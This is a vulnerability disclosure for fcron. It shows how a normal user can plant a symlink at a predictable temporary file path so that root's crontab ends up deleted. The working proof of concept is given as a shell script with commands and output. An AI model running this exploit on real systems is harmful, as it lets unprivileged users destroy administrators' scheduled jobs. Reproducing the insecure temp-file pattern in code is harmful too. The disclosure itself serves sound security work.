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Thibault Godouet Fcron Symbolic Link Vulnerability

How to repeat:

1. Install a crontab, for example for the root user:

root# ls -l /var/spool/fcron/
total 0
root# echo '0 0 * * * echo test' | fcrontab -
09:53:00 installing file /tmp/fcrontab.27301 for user root
Modifications will be taken into account right now.
root# ls -l /var/spool/fcron/
total 2
-rw------- 1 root root 110 May 7 09:53 root
-rw------- 1 root fcron 20 May 7 09:53 root.orig


2. As a normal user write and execute a script:

uwe$ cat ~/x
#! /bin/sh
ln -s /var/spool/fcron/rm.root /tmp/fcrontab.$$
exec fcrontab - <<EOF
* * * * * false
EOF
uwe$ ./x
09:55:55 installing file /tmp/fcrontab.27536 for user uwe
09:55:55 User uwe can't read file "/tmp/fcrontab.27536": Permission denied

3. As root look into the fcron spool directory:

root# ls -l /var/spool/fcron/
total 3
-rw-r----- 1 uwe fcron 16 May 7 09:55 rm.root
-rw------- 1 root root 110 May 7 09:53 root
-rw------- 1 root fcron 20 May 7 09:53 root.orig

4. As the normal user edit your crontab:

uwe$ echo '* * * * * true' | fcrontab -
09:59:15 installing file /tmp/fcrontab.27543 for user uwe
Modifications will be taken into account at 10h00.

5. As root wait up to a minute and look into the fcron spool directory:

# ls -l /var/spool/fcron/
total 3
-rw------- 1 root fcron 20 May 7 09:53 root.orig
-rw------- 1 root root 102 May 7 09:59 uwe
-rw-r----- 1 fcron fcron 15 May 7 09:59 uwe.orig

6. Root's crontab is gone, look into your backups.